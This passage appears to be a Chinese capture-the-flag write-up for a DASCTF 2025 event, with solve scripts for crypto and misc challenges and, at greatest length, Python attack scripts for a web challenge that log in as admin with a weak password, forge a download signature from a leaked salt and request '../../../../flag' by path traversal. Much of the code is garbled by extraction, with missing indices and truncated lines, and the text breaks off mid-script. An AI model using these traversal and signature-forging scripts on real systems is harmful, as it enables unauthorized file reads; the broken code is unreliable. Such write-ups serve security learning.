0xF6, 0xD0, 0xD1, 0x9F, 0xCB,    0xC7, 0x09, 0xE8, 0x6C, 0xC2, 0x99, 0x6B, 0x43, 0x3D, 0x29,    0xF6, 0x50, 0xB6, 0x99, 0x87, 0xA4, 0x66, 0xF0, 0x5B, 0xEF,    0x7F, 0x69, 0x94, 0x58, 0x60, 0xDC, 0xC4, 0x47, 0x42, 0xA5,    0x11, 0xF3, 0x62, 0x13, 0x85, 0xC8, 0x9F, 0xBD, 0x4D, 0x73,    0x15, 0x36, 0x15, 0x78, 0x96, 0x34, 0xB2, 0x5C, 0xFC, 0x31,    0x51, 0xA4, 0x11, 0x5B, 0xC3, 0x0C, 0x96, 0x97, 0x9E, 0x5F,    0x96, 0x52, 0x90, 0xF3, 0x6A, 0x86, 0x3E, 0x33, 0x78, 0xB5,    0xCF, 0xC9, 0xBA, 0x31, 0x43, 0x8C, 0x4B, 0xAE, 0x22, 0xB2,    0x3E, 0xF8, 0x15, 0xED, 0xF7, 0xCF, 0x17, 0x71, 0x80, 0x3B,    0xD3, 0x92, 0xA5, 0x07, 0x2B, 0x46, 0x89, 0x00, 0xB7, 0x5F,    0x5A, 0x43, 0x77, 0xD1, 0xDA, 0xF3, 0xD6, 0xF7, 0xB7, 0xB6,    0x85, 0x0D, 0x1A, 0x4A, 0x41, 0x34, 0xF2, 0xF6, 0x58, 0x40,    0xEF, 0xAA, 0x9B, 0x83, 0xD3, 0x10, 0x83, 0x05, 0x1D, 0xF0,    0xFC, 0x80, 0xA7, 0x86, 0x52, 0x91, 0x59, 0x48, 0x4F, 0x62,    0xBB, 0xB9, 0x52, 0x4F, 0x68, 0x28, 0x5F, 0x48, 0xC7, 0xAB,    0x8E, 0x03, 0xBD, 0xFE, 0xCA, 0x1A, 0x60, 0x25, 0xAA, 0xED,    0x9F, 0x97, 0x28, 0xB3, 0x90, 0x68, 0x9C, 0x0C, 0x96, 0x39,    0x20, 0xC7, 0x28, 0xEB, 0x56, 0x95, 0xFC, 0xB9, 0x41, 0x3F,    0x9F, 0x4E, 0x06, 0xD3, 0xB9, 0x3D, 0xB4, 0x0E, 0x26, 0xD6,    0x27, 0x5C, 0x84, 0xE6, 0x12, 0x6A])byte_C0A0 = bytes([    0x37, 0x3A, 0x2A, 0x27, 0xB3, 0x8F, 0xD7, 0x78, 0xC7, 0x16,    0x72, 0x8E, 0xBB, 0x95, 0xBE, 0x89, 0xA0, 0xA0, 0x57, 0x10,    0x91, 0x19, 0xA0, 0x8D, 0x5C, 0xE4, 0x92, 0x61, 0xEB, 0xB0,    0xE0, 0x77, 0x6D, 0x25, 0x4A, 0x40, 0xC4, 0xD2, 0x1B, 0xD2,    0x46, 0x3E, 0x61, 0x60, 0x87, 0x71, 0xDE, 0x40, 0x1E, 0xED,    0x13, 0xAC, 0x66, 0x60, 0xD9, 0x96, 0xBE, 0xA8, 0xC8, 0xB8,    0x2B, 0xDD, 0x0E, 0xAF, 0x56, 0xC3, 0x84, 0x66, 0x77, 0x6E,    0xBA, 0x31, 0xF7, 0xB2, 0x21, 0x92, 0x30, 0xB6, 0x54, 0xA7,    0x7E, 0xC0, 0xAF, 0x39, 0x5A, 0x01, 0xC3, 0x1C, 0x13, 0x9A,    0x4F, 0x6B, 0x7B, 0x8B, 0xA8, 0x45, 0x19, 0x20, 0x96, 0x16,    0x5D, 0xD7, 0xAC, 0xD0, 0x33, 0x1E, 0x79, 0xDB, 0xE4, 0x34,    0xED, 0x8C, 0x9A, 0x66, 0x58, 0x1D, 0x26, 0xF6, 0x9E, 0x5F,    0xAA, 0x29, 0x5F, 0x66, 0x01, 0x00, 0x76, 0xB9, 0x1A, 0x6D,    0xD6, 0x1D, 0xB7, 0xAB, 0xD3, 0x25, 0xF8, 0xBD, 0x25, 0xD9,    0x28, 0xDE, 0xBC, 0xC0, 0x2E, 0x55, 0x55, 0xFF, 0x81, 0xF7,    0xAE, 0x3E, 0x54, 0x8E, 0x3E, 0x46, 0x59, 0xA3, 0x7F, 0x5D,    0x3D, 0x3C, 0x39, 0xFB, 0xCA, 0xD1, 0xB5, 0x83, 0xE4, 0x2F,    0xB0, 0x4F, 0xA3, 0x28, 0xEB, 0xB7, 0x7E, 0x78, 0x41, 0xF4,    0x5B, 0x71, 0x1E, 0x77, 0xEE, 0x23, 0xE1, 0x19, 0x89, 0xDB,    0x2C, 0x0E, 0x06, 0xB8, 0x19, 0x1A, 0x45, 0x6D, 0x56, 0xBD,    0x1A, 0x7D, 0x42, 0xC4, 0x7F, 0xDF, 0xDF, 0x11, 0x79, 0x22,    0x8B, 0x57, 0xC6, 0xEF, 0xCA, 0x9B, 0x9B, 0x6A, 0x7D, 0x22,    0x68, 0x2E, 0x5B, 0x67, 0xC7, 0xC4, 0x6A, 0x87, 0x7F, 0xB6,    0x77, 0xF5, 0xF3, 0x17, 0xB4, 0x82, 0x3F, 0xCD, 0xC8, 0x12,    0xF0, 0x36, 0x2B, 0xE2, 0x7C, 0x0F, 0x54, 0x53, 0x03, 0x71,    0x48, 0xED, 0x30, 0x12, 0x7B, 0x26])byte_C2A0 = bytes([    0xAD, 0xD1, 0xD1, 0x19, 0x60, 0xC2, 0x2D, 0x91, 0x66, 0xDA,    0xC3, 0xC2, 0x67, 0x25, 0xC8, 0x19, 0x09, 0x17, 0x6B, 0x23,    0x8E, 0x30, 0x03, 0xAA, 0x57, 0xAA, 0xCB, 0xA0, 0xA2, 0x26,    0xB7, 0xC3, 0x1C, 0x22, 0x0B, 0x8D, 0x20, 0x9C, 0xB4, 0x95,    0xB5, 0x5D, 0xB4, 0xE2, 0x7D, 0x4E, 0x43, 0x8E])key = RSA.construct((n, e, d, p, q))cipher_rsa = PKCS1_OAEP.new(key)account = cipher_rsa.decrypt(byte_C1A0)cipher_rsa = PKCS1_OAEP.new(key)aes_key = cipher_rsa.decrypt(byte_C0A0)cipher_aes = AES.new(aes_key, AES.MODE_CBC, account)result = cipher_aes.decrypt(byte_C2A0)text = result.decode('utf-8', errors='ignore')print(f"{text}")CHECKIN

将图片用记事本打开 获取base64编码
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160529846-741127675.png
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160530159-629435031.png
DASCTF{W3lc0me_t0_DASCTF_2025_H4lf_Y34r!}
MISC

DigitalSignature

from web3 import Web3from eth_account.messages import encode_defunct# 核心参数msg = "Find out the signer. Flag is account address that wrapped by DASCTF{}."sig = "0x019c4c2968032373cb8e19f13450e93a1abf8658097405cda5489ea22d3779b57815a7e27498057a8c29bcd38f9678b917a887665c1f0d970761cacdd8c41fb61b"# 恢复签名地址并输出结果addr = Web3().eth.account.recover_message(encode_defunct(text=msg), signature=sig)print(f"Recovered address: {addr}")print(f"Flag: DASCTF{{{addr}}}")DASCTF{0xF319C9F3A3822C6b409c34451F7709f27173934c}
Crypto

from Crypto.Util.number import long_to_bytes, bytes_to_longimport numpy as np# 原始参数mask = 9319439021858903464# 64位掩码c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506# ---- 1. 构造64x64的变换矩阵A和初始掩码向量M ----A = np.zeros((64, 64), dtype=np.uint8)M = np.zeros(64, dtype=np.uint8)# 初始化第一行和M向量(基于mask的二进制位)for j in range(64):    if (mask >> j) & 1:      A = 1      M = 1# 构造下三角移位矩阵(第k行第k-1列置1)for k in range(1, 64):    A = 1# ---- 2. 生成513个状态行(模拟线性反馈移位寄存器) ----rows = []r = M.copy()for t in range(512 + 1):# t从0到512,共513个状态    rows.append(r.copy())    # 矩阵乘法后模2(GF(2)域运算)    r = (r @ A) % 2# ---- 3. 处理密文c,转换为64字节的bytes(确保长度为64) ----try:    c_bytes = long_to_bytes(c)    # 补零或截断到64字节,避免长度不匹配    if len(c_bytes) < 64:      c_bytes = b'\x00' * (64 - len(c_bytes)) + c_bytes    elif len(c_bytes) > 64:      c_bytes = c_bytes[-64:]# 取最后64字节(符合常规低位存储)except Exception as e:    raise ValueError(f"密文转换失败: {e}")# ---- 4. 构造线性方程组 A2·S0 = b2(GF(2)域) ----A2 = np.zeros((64, 64), dtype=np.uint8)b2 = np.zeros(64, dtype=np.uint8)for j in range(64):    # 取第8*j行作为方程的系数    A2 = rows    # 取c_bytes的最高位(MSB)作为方程右侧值    b2 = (c_bytes >> 7) & 1# ---- 5. 优化的GF(2)线性方程组求解器(带空空间计算) ----def gf2_solve_with_nullspace(A, b):    """    求解GF(2)域线性方程组 A·x = b    返回: 特解x_part, 零空间基, 矩阵秩    无解时返回 (None, None, None)    """    # 深拷贝避免修改原数组,转换为int方便异或运算    A = A.copy().astype(int)    b = b.copy().astype(int)    m, n = A.shape# m行n列    row = 0# 当前处理的行    pivot_cols = []# 主元列    pivcol = [-1] * m# 每行对应的主元列    # 高斯消元(前向消去)    for col in range(n):      # 找当前列的主元行(第一个非零行)      pivot = None      for r in range(row, m):            if A == 1:                pivot = r                break      if pivot is None:            continue# 该列无主元,跳过      # 交换主元行到当前行      if pivot != row:            A[] = A[]            b, b = b, b      pivot_cols.append(col)      pivcol = col      # 消去其他行的当前列      for r in range(m):            if r != row and A == 1:                A ^= A                b ^= b      row += 1      if row == m:            break# 所有行处理完毕    rank = row# 矩阵的秩    # 检查无解情况:全零行但b=1    for r in range(rank, m):      if not np.any(A) and b == 1:            print("线性方程组无解!")            return None, None, None    # 构造特解    x = np.zeros(n, dtype=int)    for r in range(rank - 1, -1, -1):      col = pivcol      if col == -1:            continue      # 计算非主元列的异或和      s = 0      for j in range(col + 1, n):            s ^= (A & x)      x = b ^ s    # 构造零空间基(自由变量)    free_cols =     null_basis = []    for fc in free_cols:      v = np.zeros(n, dtype=int)      v = 1# 自由变量设为1      # 回代求解主元变量      for r in range(rank - 1, -1, -1):            col = pivcol            if col == -1:                continue            s = 0            for j in range(col + 1, n):                s ^= (A & v)            v = s      null_basis.append(v)    return x, null_basis, rank# ---- 6. 求解方程组并生成可能的种子 ----x_part, null_basis, rank = gf2_solve_with_nullspace(A2, b2)if x_part is None:    raise RuntimeError("未找到有效解,方程组无解!")# 向量转64位种子(uint64)def vec_to_seed(v):    s = 0    for i in range(64):      if v:            s |= (1 = 1    # 左移1位 + 异或结果,保持64位    seed = ((seedrequests.Response:    """    拼接path和基础域名,访问该URL并返回响应    :param path: 提取的path    :param base_domain: 基础域名    :return: 响应对象    """    if not path:      raise ValueError("path为空,无法拼接URL")      # 拼接URL(处理path开头是否有/的情况)    if path.startswith('/'):      full_url = base_domain + path    else:      full_url = f"{base_domain}/{path}"      # 移除重复的//    full_url = full_url.replace('//', '/').replace('http:/', 'http://')      print(f"\n
[*] 拼接后的完整URL: {full_url}")      # 发送请求(复用请求头,保持会话一致性)    headers = {      "User-Agent": "Mozilla/5.0",      "Content-Type": "application/x-www-form-urlencoded"    }      try:      response = requests.get(            full_url,            headers=headers,            timeout=10,            allow_redirects=True# 允许重定向      )      print(f"
[*] URL访问状态码: {response.status_code}")      return response    except Exception as e:      raise RuntimeError(f"访问URL失败: {str(e)}")def send_login_request(username, password):    """    发送登录请求到目标URL,并处理path提取和URL访问    :param username: 登录用户名    :param password: 加密后的登录密码    :return: 登录响应对象    """    payload = {      "username": username,      "password": password    }    headers = {      "User-Agent": "Mozilla/5.0",      "Content-Type": "application/x-www-form-urlencoded"    }    try:      print(f"
[*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")      response = requests.post(            TARGET_URL,            data=payload,            headers=headers,            timeout=10      )      print(f"
[*] 响应状态码: {response.status_code}")      print(f"
[*] 响应内容: {response.text}")      print("-" * 80)      # 提取path      path = extract_path_from_response(response.text)      if path:            print(f"
[*] 从响应中提取到path: {path}")            # 访问拼接后的URL            try:                path_response = visit_path_url(path, BASE_DOMAIN)                print(f"
[*] URL访问响应内容: {path_response.text}")                print("-" * 80)            except Exception as e:                print(f"[!] 访问拼接URL失败: {e}")      else:            print("
[*] 响应中未提取到有效path")      return response    except Exception as e:      print(f"[!] 发包失败: {e}")      print("-" * 80)      raiseif __name__ == "__main__":    # 1. 定义需要加密的原始密码    original_password = "123456"    print(f"
[*] 原始密码: {original_password}")    print("-" * 80)      # 2. 使用RSA加密密码    try:      encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)      print(f"
[*] RSA加密后的密码: {encrypted_password}")      print("-" * 80)    except RuntimeError as e:      print(f"[!] 密码加密失败: {e}")      exit(1)      # 3. 发送登录请求(使用加密后的密码)并处理path访问    try:      login_response = send_login_request("admin", encrypted_password)    except Exception as e:      print(f"[!] 登录请求处理失败: {e}")      exit(1)https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160534116-626595075.png
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160534502-1870802095.png
有一个/download的下载文件接口
import base64import requestsfrom cryptography.hazmat.primitives.asymmetric import padding, rsafrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15import re# RSA公钥(用于密码加密)PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="# 目标登录URLTARGET_URL = "http://6922d98f-7d9d-46b0-b594-3de34637ce0c.node5.buuoj.cn:81/login"# 提取基础域名(用于拼接path)BASE_DOMAIN = TARGET_URL.rsplit('/', 1)# 指定的下载URL路径DOWNLOAD_PATH = "/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6"def rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:    """    模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串    :param plain_text: 待加密的明文(字符串)    :param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)    :return: Base64编码的加密结果    """    try:      # 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)      pem_pub_key = (            "-----BEGIN PUBLIC KEY-----\n"            + "\n".join( for i in range(0, len(pub_key_str), 64)])            + "\n-----END PUBLIC KEY-----"      )                # 2. 加载公钥      public_key = serialization.load_pem_public_key(            pem_pub_key.encode("utf-8"),            backend=default_backend()      )                # 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)      plain_bytes = plain_text.encode("utf-8")                # 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)      encrypted_bytes = public_key.encrypt(            plain_bytes,            PKCS1v15()# 标准PKCS1 v1.5填充,与JSEncrypt完全一致      )                # 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)      base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")                return base64_encrypted      except Exception as e:      raise RuntimeError(f"加密失败: {str(e)}")def extract_path_from_response(response_text: str) -> str:    """    从响应内容中提取path(支持多种常见格式匹配)    :param response_text: 响应文本内容    :return: 提取到的path,无则返回空字符串    """    # 匹配常见的path格式(可根据实际情况调整正则)    path_patterns = [      r'["\']path["\']\s*:\s*["\']([^"\']+)["\']',# "path": "/xxx/yyy"      r'["\']/[^"\']+["\']',# 匹配 "/xxx/yyy" 格式的path      r'\/+',# 匹配 /xxx/yyy 格式的path    ]      for pattern in path_patterns:      match = re.search(pattern, response_text)      if match:            path = match.group(1) if len(match.groups()) > 0 else match.group(0)            # 去除引号等多余字符            path = path.strip('"\'')            return path      return ""def visit_path_url(path: str, base_domain: str, session: requests.Session = None) -> requests.Response:    """    拼接path和基础域名,访问该URL并返回响应    :param path: 提取的path    :param base_domain: 基础域名    :param session: 可选的会话对象(保持cookie等状态)    :return: 响应对象    """    if not path:      raise ValueError("path为空,无法拼接URL")      # 拼接URL(处理path开头是否有/的情况)    if path.startswith('/'):      full_url = base_domain + path    else:      full_url = f"{base_domain}/{path}"      # 移除重复的//    full_url = full_url.replace('//', '/').replace('http:/', 'http://')      print(f"\n
[*] 拼接后的完整URL: {full_url}")      # 发送请求(复用请求头,保持会话一致性)    headers = {      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",      "Content-Type": "application/x-www-form-urlencoded",      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",      "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",      "Accept-Encoding": "gzip, deflate",      "Connection": "keep-alive"    }      try:      # 使用会话对象或普通请求,保持状态一致性      if session:            response = session.get(                full_url,                headers=headers,                timeout=10,                allow_redirects=True# 允许重定向            )      else:            response = requests.get(                full_url,                headers=headers,                timeout=10,                allow_redirects=True# 允许重定向            )      print(f"
[*] URL访问状态码: {response.status_code}")      return response    except Exception as e:      raise RuntimeError(f"访问URL失败: {str(e)}")def send_login_request(username, password, session: requests.Session):    """    发送登录请求到目标URL,并处理path提取和URL访问    :param username: 登录用户名    :param password: 加密后的登录密码    :param session: 会话对象(保持cookie)    :return: 登录响应对象    """    payload = {      "username": username,      "password": password    }    headers = {      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",      "Content-Type": "application/x-www-form-urlencoded",      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",      "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",      "Accept-Encoding": "gzip, deflate",      "Connection": "keep-alive",      "Origin": BASE_DOMAIN,      "Referer": TARGET_URL    }    try:      print(f"
[*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")      response = session.post(            TARGET_URL,            data=payload,            headers=headers,            timeout=10      )      print(f"
[*] 响应状态码: {response.status_code}")      print(f"
[*] 响应内容: {response.text}")      print("-" * 80)      # 提取path      path = extract_path_from_response(response.text)      if path:            print(f"
[*] 从响应中提取到path: {path}")            # 访问拼接后的URL            try:                path_response = visit_path_url(path, BASE_DOMAIN, session)                print(f"
[*] URL访问响应内容: {path_response.text}")                print("-" * 80)            except Exception as e:                print(f"[!] 访问拼接URL失败: {e}")      else:            print("
[*] 响应中未提取到有效path")      return response    except Exception as e:      print(f"[!] 发包失败: {e}")      print("-" * 80)      raisedef visit_download_url(session: requests.Session):    """    访问指定的/download路径,携带会话信息和必要请求头    :param session: 登录后的会话对象    :return: 下载请求的响应对象    """    print(f"\n
[*] 准备访问下载URL: {BASE_DOMAIN + DOWNLOAD_PATH}")    print("-" * 80)      # 构建完整的下载URL    download_url = BASE_DOMAIN + DOWNLOAD_PATH    # 处理URL中的重复//问题    download_url = download_url.replace('//', '/').replace('http:/', 'http://')      # 构造下载请求的请求头(模拟浏览器行为)    headers = {      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",      "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",      "Accept-Encoding": "gzip, deflate",      "Connection": "keep-alive",      "Referer": TARGET_URL,      "Upgrade-Insecure-Requests": "1"    }      try:      # 发送GET请求访问下载链接(保持会话)      response = session.get(            download_url,            headers=headers,            timeout=15,            allow_redirects=True,            stream=True# 支持大文件下载      )                print(f"
[*] 下载URL访问状态码: {response.status_code}")      print(f"
[*] 响应头信息: {response.headers}")                # 处理响应内容      if response.status_code == 200:            # 判断是否是文件下载            if 'Content-Disposition' in response.headers:                # 提取文件名并保存文件                content_disposition = response.headers.get('Content-Disposition', '')                filename = re.search(r'filename=["\']?([^"\']+)["\']?', content_disposition)                save_filename = filename.group(1) if filename else 'app.jmx'                              # 保存文件到本地                with open(save_filename, 'wb') as f:                  for chunk in response.iter_content(chunk_size=8192):                        f.write(chunk)                print(f"
[*] 文件下载成功,已保存为: {save_filename}")            else:                # 非文件下载,打印响应内容                print(f"
[*] 下载URL响应内容: {response.text[:2000]}")# 只打印前2000字符避免过长      else:            print(f"[!] 下载URL访问失败,状态码: {response.status_code}")            print(f"[!] 响应内容: {response.text}")                print("-" * 80)      return response      except Exception as e:      raise RuntimeError(f"访问下载URL失败: {str(e)}")if __name__ == "__main__":    # 创建会话对象(保持cookie、会话状态)    session = requests.Session()      # 1. 定义需要加密的原始密码    original_password = "123456"    print(f"
[*] 原始密码: {original_password}")    print("-" * 80)      # 2. 使用RSA加密密码    try:      encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)      print(f"
[*] RSA加密后的密码: {encrypted_password}")      print("-" * 80)    except RuntimeError as e:      print(f"[!] 密码加密失败: {e}")      exit(1)      # 3. 发送登录请求(使用加密后的密码)并处理path访问    try:      login_response = send_login_request("admin", encrypted_password, session)    except Exception as e:      print(f"[!] 登录请求处理失败: {e}")      exit(1)      # 4. 访问指定的/download路径(携带登录后的会话信息)    try:      download_response = visit_download_url(session)    except Exception as e:      print(f"[!] 下载URL访问处理失败: {e}")      exit(1)https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160534905-371706170.png
那既然可以下载app.jmx,那看看能不能直接下载flag
但好像并不行,既然得到了salt是不是要带上salt才可以访问
同时下面存在逻辑
def mingWen = vars.get('mingWen');def firstMi = DigestUtils.md5Hex(mingWen);def jieStr = firstMi.substring(5, 16);def salt = vars.get('salt');def newStr = firstMi + jieStr + salt;def sign = DigestUtils.md5Hex(newStr);vars.put('sign', sign);直接丢给AI
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160535322-1221023899.png
import base64import requestsimport hashlibfrom cryptography.hazmat.primitives.asymmetric import padding, rsafrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15import re# RSA公钥(用于密码加密)PUBLIC_KEY_STR = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="# 目标登录URLTARGET_URL = "http://a12634de-e919-4a63-abe4-36035aff7b45.node5.buuoj.cn:81/login"# 提取基础域名(用于拼接path)BASE_DOMAIN = TARGET_URL.rsplit('/', 1)# 固定salt值SALT = "f9bc855c9df15ba7602945fb939deefc"def generate_sign(file_param: str, salt: str) -> str:    """    根据指定逻辑生成sign值    :param file_param: file参数的值(明文)    :param salt: 固定的salt值    :return: 最终的sign值    """    # 1. 计算file参数的MD5值(firstMi)    first_mi = hashlib.md5(file_param.encode('utf-8')).hexdigest()    print(f"
[*] file参数MD5值 (firstMi): {first_mi}")      # 2. 截取firstMi的第5到16位(包含第5位,不包含第16位,共11位)    jie_str = first_mi    print(f"
[*] 截取的字符串 (jieStr): {jie_str} (位置5-16)")      # 3. 拼接新字符串:firstMi + jieStr + salt    new_str = first_mi + jie_str + salt    print(f"
[*] 拼接后的字符串 (newStr): {new_str}")      # 4. 计算新字符串的MD5作为最终sign    sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()    print(f"
[*] 最终生成的sign值: {sign}")      return signdef rsa_encrypt_pkcs1v15_jseencrypt(plain_text: str, pub_key_str: str) -> str:    """    模拟JSEncrypt的PKCS1_v1_5加密行为,返回Base64编码字符串    :param plain_text: 待加密的明文(字符串)    :param pub_key_str: Base64格式的RSA公钥(无PEM头尾部)    :return: Base64编码的加密结果    """    try:      # 1. 补全PEM格式公钥(JSEncrypt默认使用这种格式)      pem_pub_key = (            "-----BEGIN PUBLIC KEY-----\n"            + "\n".join( for i in range(0, len(pub_key_str), 64)])            + "\n-----END PUBLIC KEY-----"      )                # 2. 加载公钥      public_key = serialization.load_pem_public_key(            pem_pub_key.encode("utf-8"),            backend=default_backend()      )                # 3. 将明文转为字节(JSEncrypt默认使用UTF-8编码)      plain_bytes = plain_text.encode("utf-8")                # 4. PKCS1_v1_5加密(严格匹配JSEncrypt的填充规则)      encrypted_bytes = public_key.encrypt(            plain_bytes,            PKCS1v15()# 标准PKCS1 v1.5填充,与JSEncrypt完全一致      )                # 5. Base64编码(JSEncrypt使用标准Base64,无URL安全转换)      base64_encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")                return base64_encrypted      except Exception as e:      raise RuntimeError(f"加密失败: {str(e)}")def extract_path_from_response(response_text: str) -> str:    """    从响应内容中提取path(支持多种常见格式匹配)    :param response_text: 响应文本内容    :return: 提取到的path,无则返回空字符串    """    # 匹配常见的path格式(可根据实际情况调整正则)    path_patterns = [      r'["\']path["\']\s*:\s*["\']([^"\']+)["\']',# "path": "/xxx/yyy"      r'["\']/[^"\']+["\']',# 匹配 "/xxx/yyy" 格式的path      r'\/+',# 匹配 /xxx/yyy 格式的path    ]      for pattern in path_patterns:      match = re.search(pattern, response_text)      if match:            path = match.group(1) if len(match.groups()) > 0 else match.group(0)            # 去除引号等多余字符            path = path.strip('"\'')            return path      return ""def visit_path_url(path: str, base_domain: str, session: requests.Session = None) -> requests.Response:    """    拼接path和基础域名,访问该URL并返回响应    :param path: 提取的path    :param base_domain: 基础域名    :param session: 可选的会话对象(保持cookie等状态)    :return: 响应对象    """    if not path:      raise ValueError("path为空,无法拼接URL")      # 拼接URL(处理path开头是否有/的情况)    if path.startswith('/'):      full_url = base_domain + path    else:      full_url = f"{base_domain}/{path}"      # 移除重复的//    full_url = full_url.replace('//', '/').replace('http:/', 'http://')      print(f"\n
[*] 拼接后的完整URL: {full_url}")      # 发送请求(复用请求头,保持会话一致性)    headers = {      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",      "Content-Type": "application/x-www-form-urlencoded",      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",      "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",      "Accept-Encoding": "gzip, deflate",      "Connection": "keep-alive"    }      try:      # 使用会话对象或普通请求,保持状态一致性      if session:            response = session.get(                full_url,                headers=headers,                timeout=10,                allow_redirects=True# 允许重定向            )      else:            response = requests.get(                full_url,                headers=headers,                timeout=10,                allow_redirects=True# 允许重定向            )      print(f"
[*] URL访问状态码: {response.status_code}")      return response    except Exception as e:      raise RuntimeError(f"访问URL失败: {str(e)}")def send_login_request(username, password, session: requests.Session):    """    发送登录请求到目标URL,并处理path提取和URL访问    :param username: 登录用户名    :param password: 加密后的登录密码    :param session: 会话对象(保持cookie)    :return: 登录响应对象    """    payload = {      "username": username,      "password": password    }    headers = {      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",      "Content-Type": "application/x-www-form-urlencoded",      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",      "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",      "Accept-Encoding": "gzip, deflate",      "Connection": "keep-alive",      "Origin": BASE_DOMAIN,      "Referer": TARGET_URL    }    try:      print(f"
[*] 向 {TARGET_URL} 发送请求 -> 用户名: {username}, 密码: {password}")      response = session.post(            TARGET_URL,            data=payload,            headers=headers,            timeout=10      )      print(f"
[*] 响应状态码: {response.status_code}")      print(f"
[*] 响应内容: {response.text}")      print("-" * 80)      # 提取path      path = extract_path_from_response(response.text)      if path:            print(f"
[*] 从响应中提取到path: {path}")            # 访问拼接后的URL            try:                path_response = visit_path_url(path, BASE_DOMAIN, session)                print(f"
[*] URL访问响应内容: {path_response.text}")                print("-" * 80)            except Exception as e:                print(f"[!] 访问拼接URL失败: {e}")      else:            print("
[*] 响应中未提取到有效path")      return response    except Exception as e:      print(f"[!] 发包失败: {e}")      print("-" * 80)      raisedef visit_download_url(session: requests.Session, file_param: str = "../../../../../../../../../flag"):    """    访问/download路径,自动生成sign并携带会话信息    :param session: 登录后的会话对象    :param file_param: file参数的值,默认为读取flag的路径    :return: 下载请求的响应对象    """    print("\n" + "="*80)    print("
[*] 开始生成sign值")    print("="*80)      # 生成sign值    sign = generate_sign(file_param, SALT)      # 构建下载URL    DOWNLOAD_PATH = f"/download?file={file_param}&sign={sign}"    download_url = BASE_DOMAIN + DOWNLOAD_PATH    # 处理URL中的重复//问题    download_url = download_url.replace('//', '/').replace('http:/', 'http://')      print(f"\n
[*] 准备访问下载URL: {download_url}")    print("-" * 80)      # 构造下载请求的请求头(模拟浏览器行为)    headers = {      "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",      "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",      "Accept-Encoding": "gzip, deflate",      "Connection": "keep-alive",      "Referer": TARGET_URL,      "Upgrade-Insecure-Requests": "1"    }      try:      # 发送GET请求访问下载链接(保持会话)      response = session.get(            download_url,            headers=headers,            timeout=15,            allow_redirects=True,            stream=True# 支持大文件下载      )                print(f"
[*] 下载URL访问状态码: {response.status_code}")      print(f"
